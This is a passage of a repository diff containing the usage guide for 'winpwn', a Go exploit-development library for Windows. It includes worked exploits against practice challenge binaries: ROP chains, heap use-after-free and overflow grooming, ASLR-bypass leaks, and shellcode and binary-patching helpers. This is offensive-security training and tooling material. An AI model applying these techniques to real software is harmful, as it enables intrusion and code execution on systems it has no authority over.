- Unit tests: [cyclic_test.go](cyclic_test.go), [fiddling_test.go](fiddling_test.go),
|
||||
[packing_test.go](packing_test.go) (includes a pin against pwntools'
|
||||
`cyclic(20)`).
|
||||
- [tube_test.go](tube_test.go): `Send`/`Recv*`/`SendAfter`/timeouts/`Close`
|
||||
against an `io.Pipe`-backed transport.
|
||||
- [gadgets_test.go](gadgets_test.go), [pe_test.go](pe_test.go): fixture-based,
|
||||
against `examples/bof_basic/bof_win.c.exe`. Skip (do not fail) when the fixture
|
||||
or `rp-win.exe` is absent.
|
||||
- [heap_test.go](heap_test.go), [heap_lfh_test.go](heap_lfh_test.go),
|
||||
[heap_segment_test.go](heap_segment_test.go), [spray_test.go](spray_test.go):
|
||||
synthetic buffers and captured live-run data.
|
||||
|
||||
Not covered:
|
||||
- Live-process paths (`OpenPEFromProcess`, `ResolveModuleBase`,
|
||||
`SpawnSuspended`/`ResumeMainThread`) — need a real target PID.
|
||||
- `shellcraft.go`/`shellcode_exec_windows.go` execution.
|
||||
- `patch.go` round-trip (patch a real binary, recompute checksum, compare).
|
||||
|
||||
Note: the fixture binary referenced by the PE/gadget tests is not present in the
|
||||
tree; those tests currently skip. A green `go test` therefore does not exercise
|
||||
the PE, gadget, or heap paths until the fixture is restored.
|
||||
@@ -0,0 +1,740 @@
|
||||
# winpwn usage guide
|
||||
|
||||
Worked examples, then a function-by-function reference.
|
||||
|
||||
## Setup
|
||||
|
||||
Write solve scripts in `C:\tools\workspace\`, not inside `go_pwner\` (the library
|
||||
source).
|
||||
|
||||
```
|
||||
C:\tools\
|
||||
├── go_pwner\ ← library source
|
||||
└── workspace\ ← solve scripts
|
||||
├── go.mod ← replace winpwn => ../go_pwner
|
||||
└── mytask\
|
||||
├── main.go
|
||||
└── chal.exe
|
||||
```
|
||||
|
||||
```bash
|
||||
cd C:\tools\workspace
|
||||
mkdir mytask && cd mytask
|
||||
copy path\to\chal.exe .
|
||||
# write main.go, then:
|
||||
go run .
|
||||
```
|
||||
|
||||
`import "winpwn"` resolves anywhere inside `workspace\` via the `replace`
|
||||
directive in `go.mod`. Examples below assume the working directory holds the
|
||||
target binary and are run with `go run main.go`.
|
||||
|
||||
## Example 1 — info leak + redirect
|
||||
|
||||
Target ([workspace/task1_leak](workspace/task1_leak)) leaks the address of
|
||||
`main`, then reads a hex address from stdin and jumps to it. No ASLR, so `win()`
|
||||
is at a fixed offset from `main`.
|
||||
|
||||
```go
|
||||
tube, err := winpwn.Spawn("./task1.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
|
||||
log.Fatalf("RecvUntil: %v", err)
|
||||
}
|
||||
addrBytes, err := tube.RecvUntil([]byte("\n"))
|
||||
mainAddr, _ := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
|
||||
|
||||
winAddr := mainAddr - 267 // addr(win) - addr(main), found once in x64dbg
|
||||
payload := fmt.Sprintf("%x", winAddr)
|
||||
|
||||
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
tube.Interactive()
|
||||
```
|
||||
|
||||
```
|
||||
[+] Leaked main: 0x7FF71CC51657
|
||||
[+] Calculated win: 0x7FF71CC5154C
|
||||
Your input: 7ff71cc5154c
|
||||
You won!
|
||||
flag{FLAG}
|
||||
[*] Process exited normally (code 0)
|
||||
```
|
||||
|
||||
## Example 2 — checksec + ROP + verified gadget chain
|
||||
|
||||
Target ([workspace/task2_rop](workspace/task2_rop)) is DEP-protected with
|
||||
`win(int secret)` exported (`__declspec(dllexport)`) and a stack overflow in
|
||||
`vulnerable()`. Win condition: return into `win()` with RCX = `0xdeadbeef`.
|
||||
|
||||
Confirm mitigations:
|
||||
|
||||
```go
|
||||
pf, _ := winpwn.OpenPE("task2.exe")
|
||||
r, _ := pf.Checksec()
|
||||
// r.ASLR == false, r.DEP == true
|
||||
```
|
||||
|
||||
Resolve `win()` from the export table:
|
||||
|
||||
```go
|
||||
winRVA, _ := pf.GetProcAddress("win")
|
||||
imageBase, _ := pf.ImageBase()
|
||||
winAddr := imageBase + winRVA
|
||||
```
|
||||
|
||||
Find and verify a `pop rcx ; ret` gadget:
|
||||
|
||||
```go
|
||||
rop, _ := winpwn.NewROP("task2.exe") // requires rp-win.exe (see ROP section)
|
||||
defer rop.Close()
|
||||
|
||||
popRcx := rop.Find("pop rcx ; ret")[0].Address // index 0 = cleanest ranked match
|
||||
|
||||
lines, _ := rop.Disassemble(popRcx, 2)
|
||||
fmt.Println(lines) // ["pop rcx", "ret"]
|
||||
```
|
||||
|
||||
Build and send the chain:
|
||||
|
||||
```go
|
||||
ret := retGadgets[0].Address // bare "ret" for stack alignment
|
||||
|
||||
payload := bytes.Repeat([]byte("A"), offset)
|
||||
payload = append(payload, winpwn.P64(popRcx)...)
|
||||
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
||||
payload = append(payload, winpwn.P64(ret)...)
|
||||
payload = append(payload, winpwn.P64(winAddr)...)
|
||||
|
||||
tube, _ := winpwn.Spawn("task2.exe")
|
||||
tube.SendLineAfter([]byte("Input: "), payload)
|
||||
tube.Interactive()
|
||||
```
|
||||
|
||||
`offset` is the distance from the buffer to the saved return address. For this
|
||||
build it is 56 bytes (`buf` at `rbp-0x30`, plus the 8-byte saved RBP), not the
|
||||
40 a "32-byte buffer + saved RBP" estimate would give. Confirm it per target with
|
||||
`objdump -d` / `rop.Disassemble` / a cyclic pattern; do not assume the source
|
||||
comment's number.
|
||||
|
||||
```
|
||||
[+] win() address: 0x140001538
|
||||
[+] pop rcx; ret address: 0x140002740
|
||||
[*] verified: [pop rcx ret]
|
||||
you just got shell
|
||||
[*] Switching to interactive mode
|
||||
Microsoft Windows [Version 10.0.19045.5737]
|
||||
C:\...\task2_rop>
|
||||
```
|
||||
|
||||
## Example 3 — LFH use-after-free
|
||||
|
||||
Target ([workspace/heap_lfh](workspace/heap_lfh)) creates a private heap forced
|
||||
into LFH mode via `HeapSetInformation(heap, HeapCompatibilityInformation, 2)`.
|
||||
It manages `Note{ char title[24]; void (*onPrint)(const char*); }` (32 bytes):
|
||||
`A <text>` allocates and leaks the address, `F <id>` frees without clearing the
|
||||
pointer, `B <hex32bytes>` allocates a raw 32-byte buffer, `P <id>` calls
|
||||
`notes[id]->onPrint(...)` with no liveness check (the bug).
|
||||
|
||||
Technique: allocate filler notes, allocate the victim last, free it, then spray
|
||||
32-byte buffers (each a fake `Note` with `onPrint = win()`), checking each
|
||||
spray's leaked address against the victim's. Freeing the most recently allocated
|
||||
same-size object makes the freed slot come back within a handful of attempts.
|
||||
|
||||
```go
|
||||
for i := 0; i < 5; i++ {
|
||||
tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
|
||||
tube.RecvLine()
|
||||
}
|
||||
tube.SendLine([]byte("A victim"))
|
||||
resp, _ := tube.RecvLine()
|
||||
victimAddr, _ := parseAddr(resp) // "OK id=5 addr=0x..."
|
||||
tube.SendLine([]byte("F 5"))
|
||||
tube.RecvLine()
|
||||
|
||||
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
|
||||
payloadHex := winpwn.Enhex(payload)
|
||||
|
||||
// Seed with the freed victim's address; stop when a spray matches it.
|
||||
victim := winpwn.SprayResult[uint64]{ID: 5, Key: victimAddr}
|
||||
_, _, attempts, ok, _ := winpwn.SprayAndFind(
|
||||
[]winpwn.SprayResult[uint64]{victim}, 64,
|
||||
func(attempt int) (winpwn.SprayResult[uint64], error) {
|
||||
tube.SendLine([]byte("B " + payloadHex))
|
||||
resp, err := tube.RecvLine()
|
||||
addr, perr := parseAddr(resp)
|
||||
if perr != nil {
|
||||
err = perr
|
||||
}
|
||||
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
|
||||
},
|
||||
func(a, b uint64) bool { return a == b },
|
||||
)
|
||||
tube.SendLine([]byte("P 5")) // onPrint is now win()
|
||||
tube.Interactive()
|
||||
```
|
||||
|
||||
Note: which object you free determines whether reuse happens in ~1 attempt or not
|
||||
at all. Freeing an early allocation and waiting for it to return this way is
|
||||
unreliable — LFH favors the subsegment being actively filled. Every grooming
|
||||
number here was measured on one Windows build (10.0.26100); re-measure per target.
|
||||
|
||||
## Example 4 — Segment Heap adjacent-chunk overflow
|
||||
|
||||
Target ([workspace/heap_segment](workspace/heap_segment)) opts into Segment Heap
|
||||
via an embedded manifest (`<heapType>SegmentHeap</heapType>`). It manages
|
||||
`Profile{ char name[24]; void (*describe)(const char*); }` (32 bytes). Bug:
|
||||
`O <id> <hex>` `memcpy`s `len(hex)/2` bytes at `profiles[id]` with no bounds
|
||||
check. The heap signature at `GetProcessHeap()+0x10` is `0xddeeddee` (Segment
|
||||
Heap); `0xffeeffee` would be NT Heap.
|
||||
|
||||
Segment Heap randomizes placement within the page, so sequential allocations are
|
||||
not adjacent in memory. Technique: spray, leak every address, find any pair
|
||||
exactly `sizeof(Profile)` = 32 bytes apart; the lower one overflows into the
|
||||
higher one's `describe` field.
|
||||
|
||||
```go
|
||||
// No seed: each new sample is checked against all prior samples.
|
||||
a, b, _, ok, _ := winpwn.SprayAndFind(nil, 20,
|
||||
func(i int) (winpwn.SprayResult[uint64], error) {
|
||||
tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
|
||||
resp, err := tube.RecvLine()
|
||||
id, addr, perr := parseIDAndAddr(resp)
|
||||
if perr != nil {
|
||||
err = perr
|
||||
}
|
||||
return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
|
||||
},
|
||||
func(x, y uint64) bool {
|
||||
d := int64(y) - int64(x)
|
||||
return d == 32 || d == -32 // sizeof(Profile)
|
||||
},
|
||||
)
|
||||
attackerID, victimID := a.ID, b.ID
|
||||
if a.Key > b.Key { // lower address overflows forward
|
||||
attackerID, victimID = b.ID, a.ID
|
||||
}
|
||||
|
||||
payload := append(bytes.Repeat([]byte{0x41}, 56), winpwn.P64(winAddr)...)
|
||||
tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, winpwn.Enhex(payload))))
|
||||
tube.SendLine([]byte(fmt.Sprintf("D %d", victimID)))
|
||||
tube.Interactive()
|
||||
```
|
||||
|
||||
The same `SprayAndFind` primitive handles Example 3 (equality match) and this
|
||||
case (distance match) with a different `match` function. The 32-byte distance and
|
||||
"spray 20 finds a pair" are facts about this struct on this build; re-measure.
|
||||
|
||||
## Example 5 — native debugger session
|
||||
|
||||
Composes `SpawnSuspended`/`ResumeMainThread` (target has not executed an
|
||||
instruction when the debugger attaches) with `Attach`, and breaks at the PE's
|
||||
real entry point (ASLR-safe: resolve the module base at runtime, add the disk
|
||||
PE's entry RVA).
|
||||
|
||||
```go
|
||||
diskPE, _ := winpwn.OpenPE("target.exe")
|
||||
diskBase, _ := diskPE.ImageBase()
|
||||
diskEntry, _ := diskPE.EntryPoint()
|
||||
diskPE.Close()
|
||||
entryRVA := diskEntry - diskBase
|
||||
|
||||
tube, pid, _ := winpwn.SpawnSuspended("target.exe")
|
||||
dbg, _ := winpwn.Attach(pid)
|
||||
winpwn.ResumeMainThread(pid)
|
||||
|
||||
var bpSet bool
|
||||
for ev := range dbg.Events() {
|
||||
if !bpSet {
|
||||
if base, err := winpwn.ResolveModuleBase(pid, "target.exe"); err == nil {
|
||||
dbg.SetBreakpoint(uintptr(base) + uintptr(entryRVA))
|
||||
bpSet = true
|
||||
}
|
||||
}
|
||||
hitEntry := ev.Kind == winpwn.EventBreakpoint
|
||||
if hitEntry {
|
||||
regs, _ := dbg.GetContext(ev.ThreadID)
|
||||
fmt.Printf("hit entry point, Rip=0x%x Rsp=0x%x\n", regs.Rip, regs.Rsp)
|
||||
}
|
||||
dbg.Continue(ev) // every event, breakpoint included
|
||||
if hitEntry {
|
||||
break
|
||||
}
|
||||
}
|
||||
dbg.Close()
|
||||
tube.Close()
|
||||
```
|
||||
|
||||
Notes:
|
||||
- `ResolveModuleBase` fails on the first event or two (loader not run yet); the
|
||||
loop retries each event until it succeeds.
|
||||
- A breakpoint event's `Rip` reads back exactly equal to the breakpoint address.
|
||||
The CPU leaves `Rip` one byte past the `int3`; `Attach` rewinds it before the
|
||||
event is delivered.
|
||||
- `Continue` past a breakpoint re-arms it (restore byte, single-step, rewrite
|
||||
`0xCC`), so the loop must call `Continue` even on the event it breaks out on.
|
||||
|
||||
## Example 6 — UAF type confusion, no LFH
|
||||
|
||||
Two same-size (32-byte) structs: `Note{char title[24]; void(*onPrint)(char*)}`
|
||||
and `Token{char data[24]; void(*validate)(char*)}`. `D` frees a Note but leaves
|
||||
the table pointer. No LFH, so the freed slot returns on the next 32-byte
|
||||
allocation ([workspace/heap_typemix](workspace/heap_typemix)).
|
||||
|
||||
```go
|
||||
tube.SendLine([]byte("N victim"))
|
||||
resp, _ := tube.RecvLine() // "OK id=0 addr=0x..."
|
||||
victimAddr, _ := parseAddr(resp)
|
||||
|
||||
tube.SendLine([]byte("D 0"))
|
||||
tube.RecvLine()
|
||||
|
||||
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
|
||||
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
|
||||
tube.RecvLine()
|
||||
|
||||
tube.SendLine([]byte("P 0")) // note[0]->onPrint is now win()
|
||||
tube.Interactive()
|
||||
```
|
||||
|
||||
## Example 7 — adjacent-chunk overflow, NT Heap backend
|
||||
|
||||
`Note{char buf[24]; void(*action)(char*)}` = 32 bytes. `W <id> <hex>` writes
|
||||
hex-decoded bytes to `note->buf` with no bounds check. Two notes allocated
|
||||
sequentially on a clean NT Heap backend (no LFH at 2 allocations) are adjacent.
|
||||
Overflow layout from note[0]: 24 (buf) + 8 (action) + 16 (NT `_HEAP_ENTRY`
|
||||
header) + 24 (note[1].buf) + 8 (note[1].action) = 80 bytes; `win()` at offset 72
|
||||
([workspace/heap_overflow](workspace/heap_overflow)).
|
||||
|
||||
```go
|
||||
tube.SendLine([]byte("A note0"))
|
||||
tube.RecvLine()
|
||||
tube.SendLine([]byte("A note1"))
|
||||
tube.RecvLine()
|
||||
|
||||
payload := bytes.Repeat([]byte{0x41}, 24) // note[0].buf
|
||||
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0].action
|
||||
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // _HEAP_ENTRY header
|
||||
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1].buf
|
||||
payload = append(payload, winpwn.P64(winAddr)...) // note[1].action = win()
|
||||
|
||||
tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload)))
|
||||
tube.RecvLine()
|
||||
tube.SendLine([]byte("C 1"))
|
||||
tube.Interactive()
|
||||
```
|
||||
|
||||
## Example 8 — OOB read defeats ASLR + UAF
|
||||
|
||||
ASLR enabled (`winpwn checksec` shows `ASLR: Yes`). `S <id> <len>` prints `len`
|
||||
bytes of `note->data` with no bounds check, leaking the 8-byte `onShow` pointer
|
||||
(= `real_show`, an export). The static RVA difference between `win` and
|
||||
`real_show` gives `win()` ([workspace/heap_info_leak](workspace/heap_info_leak)).
|
||||
|
||||
```go
|
||||
// Static RVA difference (constant regardless of ASLR)
|
||||
pf, _ := winpwn.OpenPE("heap_info_leak.exe")
|
||||
realShowRVA, _ := pf.GetProcAddress("real_show")
|
||||
winRVA, _ := pf.GetProcAddress("win")
|
||||
rvaDiff := int64(winRVA) - int64(realShowRVA)
|
||||
pf.Close()
|
||||
|
||||
// Leak onShow via OOB read
|
||||
tube.SendLine([]byte("N victim"))
|
||||
tube.RecvLine()
|
||||
tube.SendLine([]byte("S 0 32")) // 24 safe, request 32
|
||||
resp, _ := tube.RecvLine() // "HEX <64hexchars>"
|
||||
|
||||
hexBytes, _ := hex.DecodeString(string(bytes.TrimPrefix(resp, []byte("HEX "))))
|
||||
realShowVA := binary.LittleEndian.Uint64(hexBytes[24:32])
|
||||
winVA := uint64(int64(realShowVA) + rvaDiff)
|
||||
|
||||
// UAF (as Example 6)
|
||||
tube.SendLine([]byte("D 0"))
|
||||
tube.RecvLine()
|
||||
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
|
||||
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
|
||||
tube.RecvLine()
|
||||
tube.SendLine([]byte("P 0"))
|
||||
tube.Interactive()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Function reference
|
||||
|
||||
### Tubes (`tube.go`, `process.go`, `remote.go`)
|
||||
|
||||
```go
|
||||
t, err := winpwn.Spawn("./target.exe") // local process
|
||||
t, err := winpwn.Remote("host", "1337") // TCP
|
||||
|
||||
t.Send([]byte("data")) // no trailing newline
|
||||
t.SendLine([]byte("data")) // + Context.Newline
|
||||
t.SendAfter([]byte("delim"), []byte("data"))
|
||||
t.SendLineAfter([]byte("delim"), []byte("data"))
|
||||
|
||||
buf, err := t.Recv(64) // up to 64 bytes
|
||||
line, err := t.RecvUntil([]byte("delim")) // inclusive of delim
|
||||
line, err := t.RecvLine() // == RecvUntil(Context.Newline)
|
||||
data, err := t.RecvPred(func(b []byte) bool { return len(b) > 10 })
|
||||
data, err := t.RecvRegex(regexp.MustCompile(`\d+`))
|
||||
|
||||
t.SetTimeout(2 * time.Second) // overrides Context.Timeout
|
||||
t.Interactive() // hand stdin/stdout to the terminal
|
||||
t.Close() // idempotent
|
||||
```
|
||||
|
||||
Every `Send*`/`Recv*` returns `error`.
|
||||
|
||||
### Named pipes (`pipe_windows.go`)
|
||||
|
||||
```go
|
||||
tube, err := winpwn.ServePipe("mypipe") // server: \\.\pipe\mypipe, blocks for one client
|
||||
tube, err := winpwn.DialPipe("mypipe") // client
|
||||
```
|
||||
|
||||
Returns a `*Tube`; every tube method works over a named pipe. Opened with
|
||||
`PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`.
|
||||
|
||||
### Context & logging (`context.go`, `log.go`)
|
||||
|
||||
```go
|
||||
winpwn.Context.Timeout = 5 * time.Second // global default for new tubes
|
||||
winpwn.Context.LogLevel = winpwn.LogLevelSilent
|
||||
|
||||
winpwn.Info("leaked: 0x%x", addr) // [*]
|
||||
winpwn.Success("got shell") // [+]
|
||||
winpwn.Warn("retrying") // [!]
|
||||
winpwn.Error("gadget not found") // [-]
|
||||
```
|
||||
|
||||
### Packing (`packing.go`)
|
||||
|
||||
```go
|
||||
winpwn.P16(0x1234) // []byte{0x34, 0x12}
|
||||
winpwn.P32(addr32)
|
||||
winpwn.P64(addr64)
|
||||
winpwn.U32(buf)
|
||||
winpwn.U64(buf)
|
||||
```
|
||||
|
||||
### Cyclic patterns (`cyclic.go`)
|
||||
|
||||
```go
|
||||
pattern := winpwn.Cyclic(200) // de Bruijn, n=4 (default)
|
||||
pattern8 := winpwn.CyclicN(200, 8) // n=8, for 64-bit pointer offsets
|
||||
|
||||
offset := winpwn.CyclicFind(crashedRIPBytes) // n=4
|
||||
offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) // n=8
|
||||
```
|
||||
|
||||
### Fiddling (`fiddling.go`)
|
||||
|
||||
```go
|
||||
winpwn.Hexdump(data) // hex+ASCII dump, string
|
||||
hexStr := winpwn.Enhex(data)
|
||||
raw, err := winpwn.Unhex(hexStr)
|
||||
xored := winpwn.Xor(data, []byte{0x41}) // key cycles if shorter than data
|
||||
```
|
||||
|
||||
### PE parsing (`pe.go`, `sections.go`)
|
||||
|
||||
```go
|
||||
pf, err := winpwn.OpenPE("target.exe")
|
||||
defer pf.Close()
|
||||
|
||||
base, _ := pf.ImageBase()
|
||||
entry, _ := pf.EntryPoint()
|
||||
is64, _ := pf.Is64Bit()
|
||||
|
||||
for _, sec := range pf.Sections() {
|
||||
sec.IsReadable(); sec.IsWritable(); sec.IsExecutable(); sec.IsRWX()
|
||||
sec.VirtualAddress // RVA in the loaded image
|
||||
sec.Offset // PointerToRawData, file offset on disk
|
||||
entropy, _ := sec.Entropy()
|
||||
}
|
||||
packed, _ := pf.LikelyPackedSections(0) // 0 == default UPX-style 7.2 threshold
|
||||
|
||||
offsets, err := pf.SearchBytes([]byte("cmd.exe\x00"))
|
||||
|
||||
// Distinct imported DLLs, each LoadLibrary'd for its live image base.
|
||||
// System DLL bases are randomized per boot, not per process, so this is valid
|
||||
// machine-wide until the next reboot without running the target.
|
||||
libs, err := pf.ImportedLibs() // []ImportedLib{Name, Base, Err}
|
||||
```
|
||||
|
||||
Live-process memory, not just a disk file (`procmem_windows.go`):
|
||||
|
||||
```go
|
||||
base, err := winpwn.ResolveModuleBase(pid, "kernel32.dll")
|
||||
pf, err := winpwn.OpenPEFromProcess(pid, base)
|
||||
// every accessor (Checksec, ListExports, NewROP, ...) works identically here
|
||||
```
|
||||
|
||||
### Loaded-module symbols (`symbols_windows.go`)
|
||||
|
||||
Analogue of pwntools' `p.libs` / `p.symbols`. For multiple lookups, use
|
||||
`ProcessSymbols`:
|
||||
|
||||
```go
|
||||
tube, _ := winpwn.Spawn("chal.exe")
|
||||
sym := winpwn.NewProcessSymbols(tube.PID()) // tube.PID() -> uint32
|
||||
defer sym.Close()
|
||||
|
||||
k32, _ := sym.Base("kernel32.dll") // p.libs["kernel32.dll"]
|
||||
winexec, _ := sym.Symbol("kernel32.dll", "WinExec") // p.symbols["kernel32.dll"]["WinExec"]
|
||||
mods, _ := sym.Modules() // map[string]uint64
|
||||
all, _ := sym.AllSymbols("kernel32.dll") // map[string]uint64
|
||||
```
|
||||
|
||||
`ProcessSymbols` caches one `PEFile` per DLL. For one-off lookups:
|
||||
|
||||
```go
|
||||
libs, _ := winpwn.ListLoadedModules(pid) // map[string]uintptr
|
||||
va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec")
|
||||
```
|
||||
|
||||
### Checksec (`checksec.go`)
|
||||
|
||||
```go
|
||||
r, err := pf.Checksec()
|
||||
// r.ASLR, r.HighEntropyVA, r.DEP, r.CFG, r.SafeSEH (x86 only; r.SEHApplicable
|
||||
// reports whether SafeSEH applies), r.GSHeuristic, r.AuthenticodeSigned, r.DotNET
|
||||
```
|
||||
|
||||
`VerifyAuthenticodeSignature(path)` ([authenticode_windows.go](authenticode_windows.go))
|
||||
verifies a signature via `WinVerifyTrust`, not just its presence.
|
||||
|
||||
### Exports / imports (`exports.go`, `imports.go`)
|
||||
|
||||
```go
|
||||
exports, err := pf.ListExports() // []Export{Name, Ordinal, RVA, ForwardTarget}
|
||||
fnRVA, err := pf.GetProcAddress("CreateFileW")
|
||||
|
||||
imports, err := pf.ListImports() // []Import{DLL, Name, Ordinal, IATRVA}
|
||||
imp, err := pf.FindImport("VirtualProtect") // whether the binary imports X
|
||||
```
|
||||
|
||||
### ROP gadgets (`gadgets.go`, `rop.go`)
|
||||
|
||||
`NewROP` shells out to `rp-win.exe` (resolved from `RP_WIN_EXE` or
|
||||
`C:\tools\rp-win\rp-win.exe`), run with `--allow-branches`, so results include
|
||||
JOP transit gadgets (`jmp reg`/`call reg`) as well as ret-terminated ones.
|
||||
|
||||
```go
|
||||
rop, err := winpwn.NewROP("target.exe")
|
||||
defer rop.Close()
|
||||
|
||||
addr := rop.Find("pop rcx ; ret")[0].Address // ranked, index 0 = cleanest
|
||||
gadgets, err := rop.Search("pop rcx ; ret") // same search, (results, error)
|
||||
gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) // regex match
|
||||
lines, err := rop.Disassemble(addr, 3) // verify a chain in-script
|
||||
|
||||
ropExt, err := winpwn.NewROPExternal("target.exe", `C:\other\rp++.exe`) // explicit tool path
|
||||
```
|
||||
|
||||
`Find` indexes into an empty slice (panics) on no match — a deliberate loud
|
||||
failure at the lookup rather than a garbage address downstream.
|
||||
|
||||
### Patching (`patch.go`)
|
||||
|
||||
```go
|
||||
pf, err := winpwn.OpenPEForWrite("target.exe")
|
||||
defer pf.Close()
|
||||
|
||||
pf.MakeSectionExecutable(".data")
|
||||
pf.MakeSectionWritable(".text")
|
||||
pf.DisableTLSCallbacks()
|
||||
pf.PatchBytes(rva, []byte{0x90, 0x90})
|
||||
pf.RecalculateChecksum()
|
||||
```
|
||||
|
||||
### Shellcode (`shellcraft.go`, `shellcode_exec_windows.go`)
|
||||
|
||||
```go
|
||||
code, err := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, resolves kernel32 via the PEB
|
||||
err := winpwn.ExecuteShellcode(code) // run locally to validate the template
|
||||
```
|
||||
|
||||
### Minidump (`minidump.go`)
|
||||
|
||||
```go
|
||||
m, err := winpwn.OpenMinidump("crash.dmp")
|
||||
defer m.Close()
|
||||
|
||||
mods, err := m.Modules() // []MinidumpModule{Name, BaseOfImage, SizeOfImage, ...}
|
||||
exc, err := m.Exception() // *MinidumpException{ThreadID, ExceptionCode, ExceptionAddress, Parameters}
|
||||
raw, err := m.RawStream(winpwn.StreamSystemInfo) // any stream not decoded natively
|
||||
```
|
||||
|
||||
### Debugger (`debugger_windows.go`)
|
||||
|
||||
```go
|
||||
tube, pid, err := winpwn.SpawnSuspended("target.exe")
|
||||
dbg, err := winpwn.Attach(pid) // before ResumeMainThread to see everything
|
||||
winpwn.ResumeMainThread(pid)
|
||||
|
||||
for ev := range dbg.Events() {
|
||||
// ev.Kind: EventBreakpoint/EventException/EventCreateProcess/
|
||||
// EventCreateThread/EventExitThread/EventExitProcess/EventLoadDll/
|
||||
// EventUnloadDll/EventOutputDebugString
|
||||
if ev.Kind == winpwn.EventBreakpoint {
|
||||
regs, _ := dbg.GetContext(ev.ThreadID) // Rax..R15, Rsp, Rbp, Rip, EFlags
|
||||
dbg.SetContext(ev.ThreadID, regs)
|
||||
data, _ := dbg.ReadMemory(uintptr(regs.Rsp), 32)
|
||||
dbg.WriteMemory(someAddr, []byte{0x90})
|
||||
}
|
||||
dbg.Continue(ev) // required for every event
|
||||
}
|
||||
|
||||
dbg.SetBreakpoint(addr) // software INT3; Continue re-arms it
|
||||
dbg.RemoveBreakpoint(addr)
|
||||
dbg.Step(tid) // single-step (not meaningful right at a fresh breakpoint hit)
|
||||
dbg.Close() // detach without killing the target
|
||||
```
|
||||
|
||||
### Heap struct parsing (`heap.go`, `heap_lfh.go`, `heap_segment.go`, `heap_windows.go`)
|
||||
|
||||
All heap APIs work against any `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, or a
|
||||
test buffer). Only `ListProcessHeaps` needs a live process (walks the PEB).
|
||||
|
||||
```go
|
||||
// Find heaps
|
||||
heaps, err := winpwn.ListProcessHeaps(pid) // reads PEB.ProcessHeaps
|
||||
kind, err := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT or HeapKindSegment
|
||||
|
||||
// NT Heap
|
||||
h, err := winpwn.ReadHeap(mem, heapAddr)
|
||||
// h.Flags, h.FrontEndHeapType (FrontEndHeapNone/LFH/Lookaside), h.FrontEndHeap
|
||||
// h.BaseAddress, h.FirstEntry, h.LastValidEntry, h.EncodingActive()
|
||||
|
||||
entries, err := h.WalkAllHeapEntries(mem) // all segments
|
||||
entries, err := h.WalkSegment0(mem) // embedded Segment0 only
|
||||
|
||||
// Entry fields
|
||||
e.Addr; e.BlockSize(); e.UserSize(); e.UserData()
|
||||
e.Busy(); e.LastEntry(); e.VirtualAlloc()
|
||||
e.PreviousBlockSize(); e.NextEntry()
|
||||
|
||||
// Analysis
|
||||
stats := winpwn.SummariseEntries(entries) // TotalEntries, BusyEntries, FreeEntries, BusyBytes, FreeBytes
|
||||
pairs := winpwn.AdjacentBusyPairs(entries) // [][2]HeapEntry
|
||||
subset := winpwn.EntriesInRange(entries, lo, hi)
|
||||
hits := winpwn.EntriesWithUserData(entries, leakedAddr1, leakedAddr2)
|
||||
|
||||
// Segments
|
||||
segAddrs, err := h.Segments(mem)
|
||||
_, firstEntry, lastValid, err := winpwn.ReadSegmentRange(mem, segAddr)
|
||||
entries, err := winpwn.WalkSegmentEntries(mem, firstEntry, lastValid, h.EncodingOrNil())
|
||||
|
||||
// NT Heap LFH
|
||||
buckets, err := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap)
|
||||
bucket, err := winpwn.FindLFHBucket(buckets, 32) // 32-byte alloc -> BlockSize >= 32+16
|
||||
|
||||
subsegAddr, err := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index)
|
||||
subsegAddrs, err := winpwn.AllSubsegments(mem, h.FrontEndHeap, bucket.Index)
|
||||
|
||||
subseg, err := winpwn.ReadLFHSubsegment(mem, subsegAddr)
|
||||
// subseg.BlockSize, subseg.BlockCount, subseg.Busy ([]bool), subseg.UserBlocksAddr
|
||||
|
||||
off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) // anchor on a leaked address
|
||||
addr := subseg.BlockAddress(off, slotIndex)
|
||||
idx, ok := subseg.SlotOf(off, knownAddr)
|
||||
|
||||
// Segment Heap
|
||||
sh, err := winpwn.ReadSegmentHeap(mem, heapAddr)
|
||||
// sh.GlobalFlags
|
||||
// sh.VS -- SegmentVSContext{CommittedUnits, FreeUnits, SubsegmentCount, Subsegments}
|
||||
// sh.LFH -- SegmentLFHContext{ActiveBuckets: []SegmentLFHBucket{Index, TotalBlockCount}}
|
||||
|
||||
// Address-level adjacency (no chunk-header decode; operates on leaked addresses)
|
||||
pairs := winpwn.AdjacentAddressPairs(addrs, 32) // all (lo, lo+32) pairs
|
||||
lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // first pair
|
||||
```
|
||||
|
||||
Empirical facts for build 10.0.26100 (verify on other builds):
|
||||
- LFH activates per-bucket after ≈19 same-size requests. Earlier allocations go
|
||||
to the backend and do not appear in the LFH subsegment structure.
|
||||
